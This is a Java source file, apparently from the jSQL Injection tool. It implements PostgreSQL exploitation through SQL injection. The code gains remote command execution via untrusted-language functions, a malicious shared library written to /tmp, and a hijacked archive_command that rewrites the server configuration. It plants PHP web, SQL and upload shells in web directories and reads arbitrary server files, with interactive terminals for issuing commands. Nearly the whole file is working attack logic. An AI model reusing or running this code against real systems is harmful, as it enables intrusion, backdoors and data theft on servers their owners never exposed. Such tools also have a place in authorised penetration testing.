1 package com.jsql.model.accessible.engine;
2
3 import com.jsql.model.InjectionModel;
4 import com.jsql.model.accessible.DataAccess;
5 import com.jsql.model.accessible.ResourceAccess;
6 import com.jsql.model.accessible.engine.postgres.ModelYamlPostgres;
7 import com.jsql.model.bean.database.MockElement;
8 import com.jsql.model.suspendable.Input;
9 import com.jsql.view.subscriber.Seal;
10 import com.jsql.model.exception.AbstractSlidingException;
11 import com.jsql.model.exception.InjectionFailureException;
12 import com.jsql.model.exception.JSqlException;
13 import com.jsql.model.exception.JSqlRuntimeException;
14 import com.jsql.model.injection.engine.model.EngineYaml;
15 import com.jsql.model.suspendable.SuspendableGetRows;
16 import com.jsql.util.LogLevelUtil;
17 import com.jsql.util.StringUtil;
18 import org.apache.commons.lang3.RandomStringUtils;
19 import org.apache.commons.lang3.StringUtils;
20 import org.apache.logging.log4j.LogManager;
21 import org.apache.logging.log4j.Logger;
22 import org.yaml.snakeyaml.Yaml;
23
24 import java.io.File;
25 import java.io.FileInputStream;
26 import java.io.IOException;
27 import java.io.InputStream;
28 import java.net.http.HttpResponse;
29 import java.util.Arrays;
30 import java.util.List;
31 import java.util.Objects;
32 import java.util.UUID;
33 import java.util.function.BinaryOperator;
34
35 public class ExploitPostgres {
36
37 private static final Logger LOGGER = LogManager.getRootLogger();
38 private final InjectionModel injectionModel;
39 private String nameExtension = StringUtils.EMPTY;
40 private final ModelYamlPostgres modelYaml;
41
42 public ExploitPostgres(InjectionModel injectionModel) {
43 this.injectionModel = injectionModel;
44 var yaml = new Yaml();
45 this.modelYaml = yaml.loadAs(
46 injectionModel.getMediatorEngine().getPostgres().instance().getModelYaml().getResource().getExploit(),
47 ModelYamlPostgres.class
48 );
49 }
50
51 public void createUdf(String nameExtension) throws JSqlException {
52 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Exploit mode forced to query body");
53
54 if (StringUtils.isNotEmpty(nameExtension)) {
55 this.setRceExtensionWhenActive(false, nameExtension);
56 } else {
57 var isUdfActive = this.setRceProgramWhenActive();
58 isUdfActive = this.setRceExtensionWhenActive(isUdfActive, nameExtension);
59 isUdfActive = this.setRceLibraryWhenActive(isUdfActive);
60 this.setRceArchiveWhenActive(isUdfActive);
61 }
62 }
63
64 private String getCreateBasicExtension() {
65 String plCreateExtension = null;
66 if (this.nameExtension.startsWith("plpython")) {
67 plCreateExtension = String.format(this.modelYaml.getUdf().getPlpython(), this.nameExtension);
68 } else if (this.nameExtension.startsWith("plperl")) {
69 plCreateExtension = this.modelYaml.getUdf().getPlperl();
70 } else if (this.nameExtension.startsWith("pltcl")) {
71 plCreateExtension = this.modelYaml.getUdf().getPltcl();
72 } else if (this.nameExtension.startsWith("plr")) {
73 plCreateExtension = this.modelYaml.getUdf().getPlr();
74 } else if (this.nameExtension.startsWith("pllua")) {
75 plCreateExtension = this.modelYaml.getUdf().getPllua();
76 } else if (this.nameExtension.startsWith("plsh")) {
77 plCreateExtension = this.modelYaml.getUdf().getPlsh();
78 }
79 return plCreateExtension;
80 }
81
82 private boolean setRceProgramWhenActive() {
83 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Program] requirements: stack query");
84 var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
85 this.injectionModel.injectWithoutIndex(String.format(
86 this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
87 nameTempTable
88 ), ResourceAccess.TBL_CREATE);
89 this.injectionModel.injectWithoutIndex(String.format(
90 this.modelYaml.getUdf().getProgram().getRun(),
91 nameTempTable,
92 ResourceAccess.WEB_CONFIRM_CMD
93 ), ResourceAccess.TBL_FILL);
94 var result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
95 this.modelYaml.getUdf().getProgram().getGetResult(),
96 nameTempTable
97 ), ResourceAccess.TBL_READ);
98 if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
99 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Program] successful: command execution found");
100 this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
101 (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitPostgres().runRceProgramCmd(command, terminalID)
102 ));
103 return true;
104 }
105 return false;
106 }
107
108 private boolean setRceExtensionWhenActive(boolean isUdfActive, String nameExtension) throws JSqlException {
109 if (isUdfActive) {
110 return true;
111 }
112 if (StringUtils.isNotEmpty(nameExtension)) {
113 this.nameExtension = this.getExtensionWhenCreated(nameExtension);
114 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "IT RCE [Extension]: searching [{}], found [{}]", nameExtension, this.nameExtension);
115 } else {
116 this.nameExtension = StringUtils.EMPTY;
117 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Extension] requirements: stack query, any of py/sh/pl/lua/sql/r/tcl installed");
118 for (var ext: Arrays.asList("plpython3u", "plpython2u", "plpythonu", "plperlu", "pltclu", "pllua", "plsh", "sql", "plr")) {
119 if (StringUtils.isEmpty(this.nameExtension)) {
120 this.nameExtension = this.getExtensionWhenCreated(ext);
121 }
122 }
123 if (StringUtils.isEmpty(this.nameExtension)) {
124 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE [Extension] failure: no extension found");
125 return false;
126 }
127 }
128
129 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getDropFunc(), ResourceAccess.DROP_FUNC);
130
131 String plCreateBasicExtension = this.getCreateBasicExtension();
132 if (plCreateBasicExtension != null) {
133 this.injectionModel.injectWithoutIndex(plCreateBasicExtension, ResourceAccess.ADD_FUNC);
134 } else if (this.nameExtension.startsWith("sql")) {
135 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getDropTable(), ResourceAccess.TBL_DROP);
136 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getCreateTable(), ResourceAccess.TBL_CREATE);
137 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getConfirm().getAddFunc(), ResourceAccess.ADD_FUNC);
138 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.RUN_FUNC);
139 var result = this.injectionModel.getResourceAccess().getResult(
140 String.format(this.modelYaml.getUdf().getSql().getResultCmd(), StringUtils.EMPTY),
141 ResourceAccess.BODY_CONFIRM
142 );
143 if (!"1337".equals(result)) {
144 return false;
145 }
146 }
147
148 var functions = this.injectionModel.getResourceAccess().getResult(
149 this.modelYaml.getUdf().getSql().getConfirm().getFuncExists(),
150 ResourceAccess.BODY_CONFIRM
151 );
152 if (!functions.contains("exec_cmd")) {
153 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE failure: function not found");
154 return false;
155 }
156
157 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Extension] successful: function found for extension [{}]", this.nameExtension);
158 this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
159 (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitPostgres().runRceExtensionCmd(command, terminalID)
160 ));
161 return true;
162 }
163
164 public boolean setRceLibraryWhenActive(boolean isUdfActive) throws JSqlException {
165 if (isUdfActive) {
166 return true;
167 }
168
169 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Library] requirements: stack query");
170 this.injectionModel.injectWithoutIndex(String.format(this.modelYaml.getUdf().getLibrary().getDropFunc()), ResourceAccess.DROP_FUNC);
171 var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
172 this.modelYaml.getUdf().getLibrary().getLoFromText(),
173 String.join(StringUtils.EMPTY, ExploitPostgres.toHexChunks("v10.64"))
174 ), ResourceAccess.ADD_LOID);
175 if (StringUtils.isEmpty(loid)) {
176 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
177 return false;
178 }
179 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".so";
180 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
181 this.modelYaml.getUdf().getLibrary().getLoToFile(),
182 loid,
183 "/tmp/" + nameExploit
184 ), ResourceAccess.WRITE_LOID);
185 this.injectionModel.injectWithoutIndex(String.format(
186 this.modelYaml.getUdf().getLibrary().getCreateFunction(),
187 "/tmp/" + nameExploit
188 ), ResourceAccess.ADD_FUNC);
189 String result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
190 this.modelYaml.getUdf().getLibrary().getRunFunc(),
191 ResourceAccess.WEB_CONFIRM_CMD + "%20"
192 ), "confirm");
193 if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
194 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
195 return false;
196 }
197 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Library] successful");
198 this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
199 (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitPostgres().runRceLibraryCmd(command, terminalID)
200 ));
201 return true;
202 }
203
204 private void setRceArchiveWhenActive(boolean isUdfActive) throws JSqlException {
205 if (isUdfActive) {
206 return;
207 }
208
209 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Archive] requirements: archive_mode enabled");
210 if (!StringUtils.EMPTY.equals(this.runArchive(null))) {
211 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Archive] successful: command execution found");
212 this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
213 (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitPostgres().runRceArchiveCmd(command, terminalID)
214 ));
215 }
216 }
217
218 private static List<String> toHexChunks(String filename) throws JSqlException {
219 try {
220 byte[] fileData = Objects.requireNonNull(
221 ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/postgres/"+ filename +".so")
222 ).readAllBytes();
223 return StringUtil.toHexChunks(fileData);
224 } catch (IOException e) {
225 throw new JSqlException(e);
226 }
227 }
228
229 public String runRceLibraryCmd(String command, UUID uuidShell) {
230 String result;
231 try {
232 result = this.injectionModel.getResourceAccess().getResult(String.format(
233 this.modelYaml.getUdf().getLibrary().getRunFunc(),
234 command.replace(StringUtils.SPACE, "%20") + "%20"
235 ), ResourceAccess.RUN_FUNC);
236 } catch (JSqlException e) {
237 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
238 }
239 this.injectionModel.sendToViews(new Seal.GetTerminalResult(
240 uuidShell,
241 result.trim() +"\n"
242 ));
243 return result;
244 }
245
246 private String runArchive(String command) throws JSqlException {
247 boolean isSetup = command == null;
248 String pathResult = "/tmp/cmd.txt";
249
250 String status = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetStatus(), "wal#status");
251 if (isSetup && !status.contains("on")) {
252 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive_mode disabled");
253 return StringUtils.EMPTY;
254 }
255
256 String pathConf = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetPathConf(), "conf#path");
257 String loidConf = this.injectionModel.getResourceAccess().getResult(String.format(
258 this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
259 pathConf
260 ), "conf#loid");
261 String lengthConf = this.injectionModel.getResourceAccess().getResult(String.format(
262 this.modelYaml.getUdf().getArchive().getGetConfLength(),
263 loidConf
264 ), "conf#size");
265
266 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
267 this.modelYaml.getUdf().getArchive().getPutCmd(),
268 loidConf,
269 lengthConf,
270 isSetup ? ResourceAccess.WEB_CONFIRM_CMD +"%20" : command,
271 pathResult
272 ), "conf#append");
273
274 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
275 this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
276 loidConf,
277 pathConf
278 ), "conf#write");
279 this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getReloadConf(), "wal#reload");
280
281 String cmdArchive = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetCmd(), "cmd#confirm");
282 if (isSetup && !cmdArchive.contains(pathResult)) {
283 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive command missing");
284 return StringUtils.EMPTY;
285 }
286
287 this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getRunWal(), "wal#run");
288 try {
289 Thread.sleep(750);
290 } catch (InterruptedException e) {
291 LOGGER.log(LogLevelUtil.IGNORE, e, e);
292 Thread.currentThread().interrupt();
293 }
294 String loidResult = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
295 this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
296 pathResult
297 ), "result#loid");
298 String result = this.injectionModel.getResourceAccess().getResult(String.format(
299 this.modelYaml.getFile().getRead().getLargeObject().getToText(),
300 loidResult
301 ), "result#read");
302
303 if (isSetup && !result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
304 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: command result missing");
305 return StringUtils.EMPTY;
306 }
307 return result;
308 }
309
310 private String getExtensionWhenCreated(String nameExtension) throws JSqlException {
311 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Checking extension [{}]", nameExtension);
312 this.injectionModel.injectWithoutIndex(String.format(
313 this.modelYaml.getUdf().getExtension().getCreate(),
314 nameExtension
315 ), "body#add-ext");
316 String languages = this.injectionModel.getResourceAccess().getResult(
317 this.modelYaml.getUdf().getExtension().getLanguages(),
318 "body#confirm-ext"
319 );
320 if (languages.contains(nameExtension)) {
321 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Language [{}] found: {}", nameExtension, languages);
322 return nameExtension;
323 }
324 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Language [{}] not found: {}", nameExtension, languages);
325 return StringUtils.EMPTY;
326 }
327
328 public String runRceArchiveCmd(String command, UUID uuidShell) {
329 String result;
330 try {
331 result = this.runArchive(command.replace(StringUtils.SPACE, "%20") +"%20");
332 } catch (JSqlException e) {
333 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
334 }
335 this.injectionModel.sendToViews(new Seal.GetTerminalResult(
336 uuidShell,
337 result.trim() +"\n"
338 ));
339 return result;
340 }
341
342 public String runRceProgramCmd(String command, UUID uuidShell) {
343 String result;
344 try {
345 var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
346 this.injectionModel.injectWithoutIndex(String.format(
347 this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
348 nameTempTable
349 ), ResourceAccess.TBL_CREATE);
350 this.injectionModel.injectWithoutIndex(String.format(
351 this.modelYaml.getUdf().getProgram().getRun(),
352 nameTempTable,
353 command.replace(StringUtils.SPACE, "%20") +"%20"
354 ), ResourceAccess.TBL_FILL);
355 result = this.injectionModel.getResourceAccess().getResult(String.format(
356 this.modelYaml.getUdf().getProgram().getGetResult(),
357 nameTempTable
358 ), ResourceAccess.TBL_READ);
359 } catch (JSqlException e) {
360 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
361 }
362 this.injectionModel.sendToViews(new Seal.GetTerminalResult(
363 uuidShell,
364 result.trim() +"\n"
365 ));
366 return result;
367 }
368
369 public String runRceExtensionCmd(String command, UUID uuidShell) {
370 String result;
371 try {
372 if ("sql".equals(this.nameExtension)) {
373 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getClean(), "body#empty-tbl");
374 this.injectionModel.injectWithoutIndex(String.format(
375 this.modelYaml.getUdf().getSql().getRunFunc(),
376 command.replace(StringUtils.SPACE, "%20")
377 ), ResourceAccess.ADD_FUNC);
378 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.UDF_RUN_CMD);
379 result = this.injectionModel.getResourceAccess().getResult(String.format(
380 this.modelYaml.getUdf().getSql().getResultCmd(),
381 EngineYaml.TRAIL_SQL
382 ), "body#result") +"\n";
383 } else {
384 result = this.injectionModel.getResourceAccess().getResult(
385 String.format(
386 this.modelYaml.getUdf().getRunFunc(),
387 command.replace(StringUtils.SPACE, "%20"),
388 EngineYaml.TRAIL_SQL
389 ),
390 ResourceAccess.UDF_RUN_CMD
391 );
392 }
393 } catch (JSqlException e) {
394 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
395 }
396 this.injectionModel.sendToViews(new Seal.GetTerminalResult(
397 uuidShell,
398 result.trim() +"\n"
399 ));
400 return result;
401 }
402
403 public String createWeb(String pathExploit, String urlExploit) {
404 String bodyExploit = StringUtil.base64Decode(
405 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
406 )
407 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
408 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
409
410 var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
411 this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
412 bodyExploit.replace("'", "\"")
413 ), ResourceAccess.ADD_LOID);
414 if (StringUtils.isEmpty(loid)) {
415 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
416 return StringUtils.EMPTY;
417 }
418 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
419 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
420 this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
421 loid,
422 pathExploit + nameExploit
423 ), ResourceAccess.WRITE_LOID);
424
425 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
426 String result = this.injectionModel.getResourceAccess().callCommand(
427 urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
428 );
429 if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
430 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
431 return StringUtils.EMPTY;
432 }
433 this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
434 return urlSuccess;
435 };
436
437 return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
438 }
439
440 public String createSql(String pathExploit, String urlExploit, String username, String password) {
441 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
442 var resultQuery = this.injectionModel.getResourceAccess().runSqlShell(
443 ResourceAccess.SQL_CONFIRM_CMD,
444 null,
445 urlSuccess,
446 username,
447 password,
448 false
449 );
450 if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
451 this.injectionModel.sendToViews(new Seal.AddTabExploitSql(urlSuccess, username, password));
452 return urlSuccess;
453 }
454 return StringUtils.EMPTY;
455 };
456
457 String bodyExploit = StringUtil.base64Decode(
458 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty("exploit.sql.pdo.pgsql")
459 )
460 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
461 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
462
463 var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
464 this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
465 bodyExploit.replace("'", "\"")
466 ), ResourceAccess.ADD_LOID);
467 if (StringUtils.isEmpty(loid)) {
468 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
469 return StringUtils.EMPTY;
470 }
471 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
472 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
473 this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
474 loid,
475 pathExploit + nameExploit
476 ), ResourceAccess.WRITE_LOID);
477
478 return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
479 }
480
481 public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
482 String bodyExploit = StringUtil.base64Decode(
483 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
484 )
485 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
486 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
487
488 var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
489 this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
490 bodyExploit.replace("'", "\"")
491 ), ResourceAccess.ADD_LOID);
492 if (StringUtils.isEmpty(loid)) {
493 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
494 return;
495 }
496 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
497 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
498 this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
499 loid,
500 pathExploit + nameExploit
501 ), ResourceAccess.WRITE_LOID);
502
503 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
504 try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
505 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
506 if (result.body().contains(DataAccess.LEAD +"y")) {
507 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
508 } else {
509 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
510 }
511 } catch (InterruptedException e) {
512 LOGGER.log(LogLevelUtil.IGNORE, e, e);
513 Thread.currentThread().interrupt();
514 } catch (IOException | JSqlException e) {
515 throw new JSqlRuntimeException(e);
516 }
517 return urlSuccess;
518 };
519
520 this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
521 }
522
523 public String getRead(String pathFile) throws AbstractSlidingException {
524 String resultToParse = StringUtils.EMPTY;
525 try {
526 resultToParse = new SuspendableGetRows(this.injectionModel).run(new Input(
527 String.format(
528 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getFromDataFolder(),
529 pathFile
530 ),
531 new String[]{ StringUtils.EMPTY },
532 false,
533 1,
534 MockElement.MOCK,
535 ResourceAccess.FILE_READ
536 ));
537 } catch (InjectionFailureException e) {
538 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read data folder failure, trying with large object");
539 var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
540 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getLargeObject().getFromPath(),
541 pathFile
542 ), ResourceAccess.ADD_LOID);
543 if (StringUtils.isNotEmpty(loid)) {
544 resultToParse = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
545 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getLargeObject().getToText(),
546 loid
547 ), ResourceAccess.READ_LOID);
548 }
549 if (StringUtils.isEmpty(resultToParse)) {
550 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read large object failure, trying with stack read");
551 var nameLibraryRandom = "tmp_" + RandomStringUtils.secure().nextAlphabetic(8);
552 this.injectionModel.injectWithoutIndex(String.format(
553 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getDrop(),
554 nameLibraryRandom
555 ), ResourceAccess.TBL_DROP);
556 this.injectionModel.injectWithoutIndex(String.format(
557 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getAdd(),
558 nameLibraryRandom
559 ), ResourceAccess.TBL_CREATE);
560 this.injectionModel.injectWithoutIndex(String.format(
561 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getFill(),
562 nameLibraryRandom,
563 pathFile
564 ), ResourceAccess.TBL_FILL);
565 resultToParse = new SuspendableGetRows(this.injectionModel).run(new Input(
566 String.format(
567 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getFromTempTable(),
568 nameLibraryRandom
569 ),
570 new String[]{ StringUtils.EMPTY },
571 false,
572 1,
573 MockElement.MOCK,
574 ResourceAccess.TBL_READ
575 ));
576 }
577 }
578 return resultToParse;
579 }
580
581 public ModelYamlPostgres getModelYaml() {
582 return this.modelYaml;
583 }
584 }